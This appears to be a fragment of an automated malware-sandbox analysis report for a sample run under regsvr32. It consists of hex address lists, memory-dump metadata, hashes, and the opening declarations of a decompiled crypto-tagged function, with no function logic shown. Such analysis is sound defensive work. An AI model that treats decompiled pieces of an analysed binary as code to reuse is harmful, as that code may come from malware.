0x00418b5d
0x00418b6d
0x00418b70
0x00418b68
0x00418b68
0x00418b68
0x00418b73
0x00418b7c
0x00000000
0x00418b7e
0x00418b7e
0x00418b7e
0x00418b7c
0x00418b8b
0x00418b8b
0x00418b8f
0x00418b97
0x00418b9f
0x00418ba5
0x00418be1
0x00418be1
0x00418be8
0x00418ba7
0x00418ba7
0x00418bab
0x00418bb1
0x00418bcd
0x00418bcd
0x00418bd0
0x00418bb3
0x00418bb3
0x00418bb7
0x00418bbb
0x00000000
0x00418bbd
0x00418bbf
0x00418bc5
0x00418bc8
0x00418bc8
0x00418bbb
0x00418bdb
0x00000000
0x00418bdd
0x00418bdd
0x00418bdd
0x00418bdb
0x00418bea
0x00000000
0x00418bea
0x00418b97
0x00418b3f
0x00418a6f
0x00418bef
0x00418bf6
0x00418c03
0x00418c08
0x00418c0c
0x00418c10
0x00418c3b
0x00418c3e
0x00418c41
0x00418c45
0x00418d01
0x00418d01
0x00418d04
0x00418d07
0x00418d0c
0x00000000
0x00000000
0x00418d12
0x00418d15
0x00418d18
0x00418d30
0x00418d33
0x00418d1a
0x00418d1e
0x00418d21
0x00000000
0x00418d23
0x00418d23
0x00418d23
0x00418d21
0x00418d39
0x00418d3b
0x00418d40
0x00418d40
0x00418d44
0x00418d48
0x00418d4b
0x00418d4e
0x00418dc0
0x00418dc2
0x00418dc4
0x00000000
0x00000000
0x00418dc6
0x00418d50
0x00418d54
0x00418d57
0x00418d5a
0x00418d70
0x00418d73
0x00418d5c
0x00418d60
0x00418d63
0x00000000
0x00418d65
0x00418d65
0x00418d65
0x00418d63
0x00418d7b
0x00418d81
0x00418d86
0x00418d8c
0x00418d8c
0x00418d90
0x00418d92
0x00418d95
0x00418d98
0x00418de0
0x00418de0
0x00418d9a
0x00418d9e
0x00418da1
0x00418da4
0x00418dc8
0x00418dcb
0x00418da6
0x00418daa
0x00418dad
0x00000000
0x00418daf
0x00418daf
0x00418daf
0x00418dad
0x00418dd1
0x00418dd7
0x00000000
0x00418dd9
0x00418dd9
0x00418dd9
0x00418dd7
0x00418de7
0x00418de7
0x00418deb
0x00418def
0x00418df2
0x00418e00
0x00418e00
0x00418e04
0x00418e08
0x00418e0b
0x00000000
0x00000000
0x00418e11
0x00418e14
0x00000000
0x00418e16
0x00000000
0x00418e16
0x00000000
0x00418e14
0x00418c57
0x00418c5a
0x00418c5e
0x00418c64
0x00418c68
0x00418c70
0x00418c73
0x00418c80
0x00418c8a
0x00418c8e
0x00418c93
0x00418c97
0x00418c97
0x00418c75
0x00418c75
0x00418c78
0x00000000
0x00418c7a
0x00418c7a
0x00418c7a
0x00418c78
0x00418c6a
0x00418c6a
0x00418c6a
0x00418c9a
0x00418c9d
0x00418ca0
0x00418cf0
0x00418cf0
0x00418cf7
0x00418ca2
0x00418ca2
0x00418ca6
0x00418ca9
0x00418cac
0x00418cd0
0x00418cd3
0x00418cae
0x00418cae
0x00418cb2
0x00418cb4
0x00418cb6
0x00000000
0x00418cb8
0x00418cba
0x00418cc0
0x00418cc3
0x00418cc3
0x00418cb6
0x00418cd9
0x00418cde
0x00000000
0x00418ce0
0x00418ce0
0x00418ce0
0x00418cde
0x00418cf9
0x00418cfe
0x00000000
0x00418cfe
0x00418c5e
0x00418d86
0x00418e1b
0x00418e22
0x00418e25
0x00418e28
0x00418e2c
0x00000000
0x00000000
0x00000000
0x00418e2c
0x00418c16
0x00418c16
0x00418c1e
0x00418c22
0x00418f08
0x00418f08
0x00418f0a
0x00418c28
0x00418c28
0x00418c2f
0x00418c32
0x00418c32
0x00418f0e
0x00418f12
0x00418f16
0x00418f1c
0x00418f23
0x00418f27
0x00418f2e
0x004190b9
0x004190b9
0x004190bc
0x004190c1
0x004190c6
0x004190cc
0x004190d2
0x004190f3
0x004190dd
0x004190dd
0x004190dd
0x004190f6
0x004190f9
0x00419100
0x00419100
0x00419104
0x00419108
0x0041910e
0x00419114
0x0041911a
0x00419130
0x00419133
0x00419125
0x00419125
0x00419125
0x00419136
0x00419139
0x00419140
0x00419140
0x00419146
0x00000000
0x00000000
0x00419150
0x00419152
0x00419158
0x00419190
0x00419190
0x0041915a
0x0041915e
0x00419164
0x00419174
0x00419177
0x0041916f
0x0041916f
0x0041916f
0x0041917a
0x00419183
0x00000000
0x00419185
0x00419185
0x00419185
0x00419183
0x00419197
0x00419197
0x0041919b
0x0041919f
0x004191a3
0x004191b0
0x004191b0
0x004191b4
0x004191bb
0x00000000
0x00000000
0x004191c4
0x00000000
0x00000000
0x004191c6
0x00000000
0x004191c4
0x00418f67
0x00418f6e
0x00418f90
0x00418f99
0x00418f9d
0x00418fa2
0x00000000
0x00418fa8
0x00418fa8
0x00418fad
0x00000000
0x00418fb3
0x00418fb3
0x00418fb7
0x00000000
0x00418fbd
0x00418fbd
0x00418fc1
0x00418fc5
0x00419ca5
0x00419caa
0x00419d1d
0x00419d20
0x00419d24
0x00419d28
0x00419d2a
0x00419d31
0x00419d37
0x00419d39
0x00419d39
0x00419d3d
0x00419d3d
0x00419d42
0x00419d46
0x00419d4a
0x00419d4c
0x00419d50
0x00419d53
0x00419d59
0x00419d5b
0x00419d5b
0x00419d5f
0x00419d5f
0x00419d67
0x00419d6c
0x00419d70
0x00419d73
0x00419d75
0x00419d75
0x00419d75
0x00419d80
0x00419d85
0x00418fcb
0x00418fcb
0x00418fce
0x00418fd8
0x00418fdd
0x00418fdf
0x00418fe5
0x00418fee
0x00418ff2
0x00418ff6
0x00418fff
0x00418fff
0x00419003
0x00419007
0x00419007
0x0041900c
0x00000000
0x0041900c
0x00418fc5
0x00418fb7
0x00418fad
0x00418f70
0x00418f74
0x00419020
0x00419023
0x0041902f
0x00419039
0x0041903d
0x00419042
0x00419046
0x00419046
0x00419025
0x00419025
0x00419028
0x00000000
0x0041902a
0x0041902a
0x0041902a
0x00419028
0x00418f7a
0x00418f7a
0x00418f7a
0x00419052
0x00419056
0x0041905c
0x00419062
0x00419064
0x00419066
0x00419066
0x0041906a
0x0041906a
0x00419070
0x00418f40
0x00418f40
0x00418f47
0x00418f49
0x00419076
0x00419076
0x0041907a
0x00419080
0x004190a0
0x004190a3
0x00419082
0x00419082
0x00419086
0x0041908a
0x00000000
0x0041908c
0x0041908e
0x00419090
0x00419094
0x00419097
0x00419097
0x0041908a
0x004190ae
0x00000000
0x004190b4
0x004190b4
0x004190b6
0x004190b6
0x004190ae
0x00000000
0x00419070
0x00000000
0x00418f6e
0x004191cb
0x004191ce
0x0041924d
0x0041924d
0x00000000
0x004191d4
0x004191d4
0x004191dd
0x004191e1
0x004191e5
0x004191e7
0x004191ea
0x004191ed
0x004191f0
0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 6bc837e8bfd70714ef309ece7edc806d96cb04dc8f0a0cd049e00adf3b69786a
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: 6bc837e8bfd70714ef309ece7edc806d96cb04dc8f0a0cd049e00adf3b69786a
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 004186FD Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186FD(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
